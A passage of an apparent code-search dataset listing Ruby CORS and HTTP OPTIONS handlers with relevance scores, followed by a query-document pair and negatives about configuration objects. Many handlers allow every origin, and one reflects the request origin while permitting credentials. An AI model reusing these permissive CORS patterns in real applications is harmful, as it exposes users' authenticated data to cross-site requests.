"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\nend",
"def cors_preflight_check\n\t if request.method == :options\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t headers['Access-Control-Allow-Headers'] = '*'\n\t headers['Access-Control-Request-Method'] = '*' \n\t headers['Access-Control-Max-Age'] = '1728000'\n\t render :text => '', :content_type => 'text/plain'\n\t end\n\tend",
"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\nend",
"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\nend",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version,Accept,Origin'\n if request.method.casecmp(\"OPTIONS\") == 0\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\nend",
"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end\n end",
"def allow_cors\n headers[\"Access-Control-Allow-Origin\"] = \"*\"\n headers[\"Access-Control-Allow-Methods\"] = %w{GET POST PUT DELETE}.join(\",\")\n headers[\"Access-Control-Allow-Headers\"] =\n %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token X-AuthToken X-Identity Authorization}.join(\",\")\n\n render text: '' if request.request_method == \"OPTIONS\"\n end",
"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS, PUT, PATCH, DELETE'\n headers['Access-Control-Allow-Headers'] = '*'\n end\n end",
"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS, DELETE'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version, Authorization'\n end\n end",
"def do_OPTIONS(request, response)\n super\n\n response.header['Access-Control-Allow-Methods'] = 'POST, OPTIONS'\n response.status = Server.status_code('OPTIONS')\n end",
"def cors_preflight_check\n logger.info \">>> responding to CORS request\"\n render :text => '', :content_type => 'text/plain'\n end",
"def cors_preflight_check\n logger.info \">>> responding to CORS request\"\n render :text => '', :content_type => 'text/plain'\n end",
"def cors_preflight_check\n if request.method == \"OPTIONS\"\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'GET, PUT, POST, DELETE, OPTIONS, PATCH'\n headers['Access-Control-Allow-Headers'] = 'X-CSRF-Token, X-Requested-With, X-Prototype-Version, content-type, ' + @token_name\n headers['Access-Control-Max-Age'] = '1728000'\n render(plain: '', content_type: 'text/plain')\n false\n end\n true\n end",
"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS, DELETE'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n end\n end",
"def cors_preflight\n head(:ok)\n end",
"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version, Content-Length, bookmarklet_session_token, Content-Type'\n headers['Access-Control-Max-Age'] = '1728000'\n render :json => {}, :content_type => \"application/json\"\n end\n end",
"def cors_handling\n if request.method == \"OPTIONS\"\n response.headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n response.headers['Access-Control-Allow-Headers'] = '*'\n response.headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def options\n response_headers = {\n 'Access-Control-Allow-Methods' => 'POST, OPTIONS',\n 'Access-Control-Allow-Headers' => 'Content-Type',\n 'Access-Control-Max-Age' => '86400'\n }\n\n [204, response_headers.merge(cors_allow_header), []]\n end",
"def do_OPTIONS(_req, res)\r\n res['allow'] = 'GET,HEAD,POST,OPTIONS,CONNECT,PUT,PATCH,DELETE'\r\n end",
"def do_OPTIONS(req, res)\n @logger.debug \"run do_OPTIONS\"\n #res[\"DAV\"] = \"1,2\"\n res[\"DAV\"] = \"1\"\n res[\"MS-Author-Via\"] = \"DAV\"\n super\n end",
"def options\n response_headers = {\n 'Access-Control-Allow-Methods' => 'POST, GET, PUT, OPTIONS, DELETE',\n 'Access-Control-Allow-Headers' => 'Content-Type',\n 'Access-Control-Max-Age' => '86400'\n }\n\n [204, response_headers.merge(cors_allow_header), []]\n end",
"def do_OPTIONS(request, response)\n super\n\n response.header['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'\n end",
"def reply_to_options\n allow = @headers['Access-Control-Request-Headers']\n headers = [\n \"Access-Control-Allow-Origin: *\",\n \"Access-Control-Allow-Methods: POST, GET, OPTIONS\",\n \"Access-Control-Allow-Headers: #{allow}\",\n \"Access-Control-Max-Age: #{60 * 60 * 24 * 30}\"\n ]\n send_status(200, 'OK', headers)\n end",
"def options\n # echo back access-control-request-headers\n if request.headers[\"Access-Control-Request-Headers\"]\n response[\"Access-Control-Allow-Headers\"] =\n request.headers[\"Access-Control-Request-Headers\"]\n end\n render body: \"\", status: 200\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def handle_preflight_request( request )\n\t\tpath = request.app_path\n\t\tresponse = request.response\n\n\t\tself.class.access_controls.each do |pattern, options|\n\t\t\tself.log.debug \"Applying access controls: %p (%p)\" % [ pattern, options ]\n\n\t\t\t# TODO: Skip requests that don't match options? E.g.,\n\t\t\t# next unless options[:allowed_methods].include?( request.verb )\n\n\t\t\toptions[:block].call( request, response ) if\n\t\t\t\toptions[:block] && ( !pattern || path.match(pattern) )\n\t\tend\n\n\t\tresponse.add_cors_headers\n\t\tresponse.status = 204\n\n\t\treturn response\n\tend",
"def cors_preflight_check\r\n headers['Access-Control-Allow-Origin'] = '*'\r\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\r\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\r\n headers['Access-Control-Max-Age'] = '1728000'\r\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n logger.debug 'cors_preflight_check'\n\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS,PUT, DELETE'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n\n end",
"def options_response\n render :nothing => true, :status => 200\n\n response.headers['Access-Control-Allow-Origin'] = '*'\n response.headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n response.headers['Access-Control-Allow-Credentials'] = 'true'\n response.headers['Access-Control-Max-Age'] = '86400' # 24 hours\n response.headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-HTTP-Method-Override, Content-Type, Accept'\n end",
"def cors\n headers[\"Access-Control-Allow-Origin\"] = \"*\"\n headers['Access-Control-Request-Method'] = \"*\"\n headers[\"Access-Control-Allow-Methods\"] = %w{GET POST PUT DELETE OPTIONS}.join(\",\")\n headers[\"Access-Control-Allow-Headers\"] = %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token}.join(\",\")\n if request.method == 'OPTIONS'\n head(:ok)\n end\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n \theaders['Access-Control-Allow-Origin'] = '*'\n \theaders['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n \theaders['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n \theaders['Access-Control-Max-Age'] = '1728000'\n \tend",
"def cors_preflight_check\n \theaders['Access-Control-Allow-Origin'] = '*'\n \theaders['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n \theaders['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n \theaders['Access-Control-Max-Age'] = '1728000'\n \tend",
"def cors_preflight_check\n \theaders['Access-Control-Allow-Origin'] = '*'\n \theaders['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n \theaders['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n \theaders['Access-Control-Max-Age'] = '1728000'\n \tend",
"def options\n head :status => 200, :'Access-Control-Allow-Headers' => 'accept, content-type'\n end",
"def process_options(cli, request, target)\r\n\t\tprint_status(\"Responding to WebDAV OPTIONS request\")\r\n\t\theaders = {\r\n\t\t\t#'DASL' => '<DAV:sql>',\r\n\t\t\t#'DAV' => '1, 2',\r\n\t\t\t'Allow' => 'OPTIONS, GET, PROPFIND',\r\n\t\t\t'Public' => 'OPTIONS, GET, PROPFIND'\r\n\t\t}\r\n\t\tsend_response(cli, '', headers)\r\n\tend",
"def process_options(cli, request)\r\n vprint_status(\"OPTIONS #{request.uri}\")\r\n headers = {\r\n 'MS-Author-Via' => 'DAV',\r\n 'DASL' => '<DAV:sql>',\r\n 'DAV' => '1, 2',\r\n 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',\r\n 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',\r\n 'Cache-Control' => 'private'\r\n }\r\n resp = create_response(207, \"Multi-Status\")\r\n headers.each_pair {|k,v| resp[k] = v }\r\n resp.body = \"\"\r\n resp['Content-Type'] = 'text/xml'\r\n cli.send_response(resp)\r\n end",
"def cors_preflight_check\nheaders['Access-Control-Allow-Origin'] = '*'\nheaders['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\nheaders['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\nheaders['Access-Control-Max-Age'] = '1728000'\nend",
"def OPTIONS(uri, credentials)\n options = Net::HTTP::Options.new(uri.path)\n\n response = submit(options, uri, credentials)\n\n case response\n when Net::HTTPOK\n response.to_hash\n else\n report_error(\"OPTIONS\", uri.path, response, credentials)\n end\n end",
"def contact_form_options\n #TODO verify originating domain\n cors_set_access_control_headers\n head :ok\n end",
"def process_options(cli, request)\r\n\t\tprint_status(\"Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}\")\r\n\t\theaders = {\r\n\t\t\t#'DASL' => '<DAV:sql>',\r\n\t\t\t#'DAV' => '1, 2',\r\n\t\t\t'Allow' => 'OPTIONS, GET, PROPFIND',\r\n\t\t\t'Public' => 'OPTIONS, GET, PROPFIND'\r\n\t\t}\r\n\t\tsend_response(cli, '', headers)\r\n\tend",
"def cors_header_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = \"*\"\n headers['Access-Control-Request-Method'] = %w{GET POST OPTIONS}.join(\",\")\n end",
"def handle_request( request )\n\t\tif request.origin\n\t\t\tself.log.info \"Request has an Origin (%p): applying CORS\" % [ request.origin ]\n\t\t\tresponse = if request.is_preflight?\n\t\t\t\t\tself.log.debug \"Preflight request for %s\" % [ request.uri ]\n\t\t\t\t\tself.handle_preflight_request( request )\n\t\t\t\telse\n\t\t\t\t\trequest.response.add_cors_headers\n\t\t\t\t\tsuper\n\t\t\t\tend\n\n\t\t\treturn response\n\t\telse\n\t\t\tsuper\n\t\tend\n\tend",
"def set_cors_headers\n if request.headers[\"HTTP_ORIGIN\"]\n # better way check origin\n # if request.headers[\"HTTP_ORIGIN\"] && /^https?:\\/\\/(.*)\\.some\\.site\\.com$/i.match(request.headers[\"HTTP_ORIGIN\"])\n headers['Access-Control-Allow-Origin'] = request.headers[\"HTTP_ORIGIN\"]\n headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'GET, POST, PATCH, PUT, DELETE, OPTIONS, HEAD'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match,Auth-User-Token'\n headers['Access-Control-Max-Age'] = '86400'\n headers['Access-Control-Allow-Credentials'] = 'true'\n end\n end",
"def check_header\n if ['POST', 'PUT', 'PATCH'].include? request.method\n head :not_acceptable and return unless request.content_type == 'application/vnd.api+json'\n end\n end",
"def check_header\n if ['POST','PUT','PATCH'].include? request.method\n if request.content_type != \"application/vnd.api+json\"\n head 406 and return\n end\n end\n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Request-Method'] = %w(GET POST OPTIONS).join(',')\n end",
"def filter_request(req)\n @authenticator.each do |auth|\n next unless auth.set? # hasn't be set, don't use it\n if cred = auth.get(req)\n if cred == :skip\n # some authenticator (NTLM and Negotiate) does not\n # need to send extra header after authorization. In such case\n # it should block other authenticators to respond and :skip is\n # the marker for such case.\n return\n end\n req.header.set('Proxy-Authorization', auth.scheme + \" \" + cred)\n return\n end\n end\n end",
"def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n headers['Access-Control-Allow-Headers'] = \"X-Requested-With,Content-Type,Accept,Origin\"\n headers['Access-Control-Expose-Headers'] = \"Location\"\nend",
"def cors_allow_all\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def options\n add_dav_header\n response['Allow'] = 'OPTIONS,HEAD,GET,PUT,POST,DELETE,PROPFIND,PROPPATCH,MKCOL,COPY,MOVE,LOCK,UNLOCK'\n response['Ms-Author-Via'] = 'DAV'\n OK\n end",
"def options_call\n OmniAuth.config.before_options_phase.call(env) if OmniAuth.config.before_options_phase\n verbs = OmniAuth.config.allowed_request_methods.collect(&:to_s).collect(&:upcase).join(', ')\n [200, {'Allow' => verbs}, []]\n end"
] |
[
"0.7614249",
"0.7467578",
"0.7409435",
"0.7409435",
"0.7308112",
"0.7288653",
"0.7264328",
"0.72398067",
"0.7235166",
"0.72183186",
"0.721749",
"0.7214403",
"0.71994877",
"0.7199308",
"0.7199308",
"0.7199308",
"0.71798396",
"0.71593463",
"0.7152738",
"0.7152525",
"0.71361864",
"0.71230376",
"0.71184856",
"0.711069",
"0.7102253",
"0.7099398",
"0.7099398",
"0.70488983",
"0.7040286",
"0.68449366",
"0.6842364",
"0.6824182",
"0.6819979",
"0.67798185",
"0.67798185",
"0.6763379",
"0.6763135",
"0.6715695",
"0.66906995",
"0.66285014",
"0.6623719",
"0.66224295",
"0.6586848",
"0.65726566",
"0.65401244",
"0.6522644",
"0.64290416",
"0.6390695",
"0.6390695",
"0.63829243",
"0.6376769",
"0.6374458",
"0.63530964",
"0.63530964",
"0.63530964",
"0.63530964",
"0.63530964",
"0.63530964",
"0.63530964",
"0.63530964",
"0.63530964",
"0.6352808",
"0.6335584",
"0.63284934",
"0.62792045",
"0.6258099",
"0.6256516",
"0.6244771",
"0.6244771",
"0.6244771",
"0.6190549",
"0.60777974",
"0.6013262",
"0.5972845",
"0.59706783",
"0.5957284",
"0.581947",
"0.5791372",
"0.5738731",
"0.57357854",
"0.5734546",
"0.56963277",
"0.5663246",
"0.5633264",
"0.5611374",
"0.56005985",
"0.56005985",
"0.56005985",
"0.5580997",
"0.5580997",
"0.5576796",
"0.55675536",
"0.5567388",
"0.55650145"
] |
0.7212929
|
17
|
configure Config object with subject class and various options
|
def initialize subject_class, options = {}
raise ArgumentError, "The first argument must be the Class which is the subject of the behavior" unless subject_class.is_a?(Class)
@subject_class = subject_class
apply_options! options
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def config(subject)\n @self_config ||= self.config_class.find_by(subject: subject, key: self.key)\n end",
"def subject_config(subject)\n get \"/config/#{subject}\"\n end",
"def update_subject_config(subject, config)\n put \"/config/#{subject}\", { body: config.to_json }\n end",
"def configuration_from_options(options); end",
"def configure_from_options\n if @options[:config]\n config = Configuration.new(@path, @options[:config])\n config.from_options\n end\n end",
"def config=(options={})\n @config = Configuration.new(options)\n end",
"def config=(config); end",
"def configure(config={})\n config.each do |(key, val)|\n self.config[key] = val\n end\n end",
"def configure(options={})\n Configuration.configure(options)\n end",
"def as_config\n Configureasy::Config.new self.parse\n end",
"def set_config(config)\n\t\tend",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def configure\n yield config\n end",
"def configure\n yield config\n end",
"def configure\n yield config\n end",
"def configure\n yield config\n end",
"def configure\n yield config\n end",
"def configure\n yield(config)\n end",
"def initialize\n options = parse_options\n CONFIG[:user] = options[:user]\n $config = CONFIG.merge(YAML.load_file(\"#{options[:prefix]}/#{options[:'config-dir']}/config.yml\").rekey) rescue CONFIG.clone\n $config.merge!(options)\n [:'config-dir', :'pid-file', :'log-file', :'spool-dir'].each {|item| $config[item] = \"#{$config[:prefix]}/#{$config[item]}\".sub(/\\/\\//, '/') }\n $messages = MESSAGES.merge(YAML.load_file(\"#{$config[:'config-dir']}/messages.yml\").rekey) rescue MESSAGES.clone\n $recipients = YAML.load_file(\"#{$config[:'config-dir']}/recipients.yml\") rescue {}\n end",
"def configure(options)\n config_options.push(options)\n end",
"def configure\n yield(config)\n end",
"def setup_config\n # To be Extended\n end",
"def configure opts\n configuration.merge!(opts)\n end",
"def config(cfg)\n @options = Options.new(cfg)\n end",
"def configure(config)\n setup_logging(config[\"logging\"])\n\n @kairos_host = config[\"kairos_host\"]\n\n @kairos_port = config[\"kairos_port\"]\n\n @rabbit_host = config[\"rabbit_host\"]\n @rabbit_user = config[\"rabbit_user\"]\n @rabbit_port = config[\"rabbit_port\"]\n @rabbit_pwd = config[\"rabbit_pwd\"]\n\n @connection_pool = config[\"connection_pool\"]\n\n @interval = config[\"interval\"]\n end",
"def configure &block\n @config_helper = ConfigHelper.new(&block)\n end",
"def configure(root_config)\n end",
"def configure(root_config)\n end",
"def configure(options = {})\n self.config.merge!(options.symbolize_keys)\n\n # Ensure required keys\n @configured = ([:login, :oauth_token, :repo] & self.config.keys).size == 3\n\n # Default reporter based on availability of resque\n self.config[:reporter] ||= defined?(Resque) ? :resque_reporter : :reporter\n reporter_class = self.config[:reporter].to_s.camelize\n reporter_class = GitHub::Deprecation.const_get(reporter_class)\n\n # Verify reporter can access issues for repo\n self.reporter = reporter_class.new(self.config)\n rescue NameError => e\n warn \"unknown reporter #{self.config[:reporter]}, check your configuration\"\n @configured = false\n ensure\n self.config\n end",
"def configure\n load_configuration\n verify_configuration\n end",
"def configure\n end",
"def initialize(options)\n @config = Config.new(options)\n end",
"def configure(options=nil, &block)\n # We don't want ancestors to be searched. This is the default in 1.8,\n # but not in 1.9, hence this hackery.\n const_args = [\"Config\"]\n const_args << false if RUBY_VERSION >= \"1.9\"\n\n # We assume that every provisioner has a `Config` class beneath\n # it for configuring.\n return if !@provisioner || !@provisioner.const_defined?(*const_args)\n\n # Instantiate the config class and configure it\n @config = @provisioner.const_get(*const_args).new\n @config.top = top\n @config.set_options(options) if options\n block.call(@config) if block\n end",
"def configure!(options={})\n self.local_config = options\n end",
"def config\n yield @@config_options\n end",
"def configure(root_config)\n\n end",
"def configure\n create_belongs_to :subject, class_name_option(:subject)\n create_belongs_to :object, class_name_option(:object)\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def config_for(options)\n AppConfig.reset!\n AppConfig.setup!(options)\n end",
"def config=(*args); end",
"def config=(*args); end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def initialize\n set_config\n end",
"def configure; end",
"def configure\n\t\t\tyield configuration\n\t\tend",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure(*args)\n @options = args[0] || {}\n @fetcher_opts = @options.dup\n @fetcher_opts.delete(:backends_file)\n @fetcher_opts.delete(:domainmap_file)\n @fetcher_opts.delete(:interval)\n end",
"def config(options = T.unsafe(nil)); end",
"def setup_config(config=nil, &block)\n @config = config || ConfigStruct.block_to_hash(block)\n end",
"def configure(options=nil, &block)\n config_class = @provisioner.config_class\n return if !config_class\n\n @logger.debug(\"Configuring provisioner with: #{config_class}\")\n @config = config_class.new\n @config.set_options(options) if options\n block.call(@config) if block\n end",
"def configure(options = {})\n options = options.map do |key, value|\n if self.respond_to?(\"transform_#{key}\")\n value = self.__send__(\"transform_#{key}\", value)\n end\n [key, value]\n end\n @configuration = configuration.merge(options)\n end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def configurations; end",
"def configure(conf)\n super\n end",
"def configure\n self.configuration ||= Configuration.new\n\n yield(configuration) if block_given?\n \n configuration.validate!\n\n setup if configuration.enabled?\n end",
"def configure(&block)\n yield config\n end",
"def configure_with(config_options)\n config_options.each { |attribute, value| eval \"self.#{attribute} = #{value}\" }\n end",
"def configure \n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(config)\n config\n end",
"def load_config!\n if options[:config]\n config_inst = Config.new(options[:config])\n elsif self.class.const_defined?(:DEFAULT_CONFIGURATION_FILES)\n path = self.class.const_get(:DEFAULT_CONFIGURATION_FILES).detect do |check|\n full_check = File.expand_path(check)\n File.exists?(full_check)\n end\n config_inst = Config.new(path) if path\n end\n if config_inst\n options.delete(:config)\n defaults_inst = Smash[\n config_class.new(\n defaults.to_smash\n ).to_smash.find_all do |key, value|\n defaults.key?(key)\n end\n ]\n config_data = config_inst.data\n config_inst = Smash[\n config_inst.to_smash.find_all do |key, value|\n config_data.key?(key)\n end\n ]\n options_inst = Smash[\n config_class.new(\n options.to_smash\n ).to_smash.find_all do |key, value|\n options.key?(key)\n end\n ]\n @options = config_class.new(\n defaults_inst.to_smash.deep_merge(\n config_inst.to_smash.deep_merge(\n options_inst.to_smash\n )\n )\n ).to_smash\n else\n @options = config_class.new(\n defaults.to_smash.deep_merge(\n options.to_smash\n )\n ).to_smash\n end\n options\n end"
] |
[
"0.7216634",
"0.6767596",
"0.66828066",
"0.66447127",
"0.66356665",
"0.6619825",
"0.66095585",
"0.65970194",
"0.64984816",
"0.64481497",
"0.64149266",
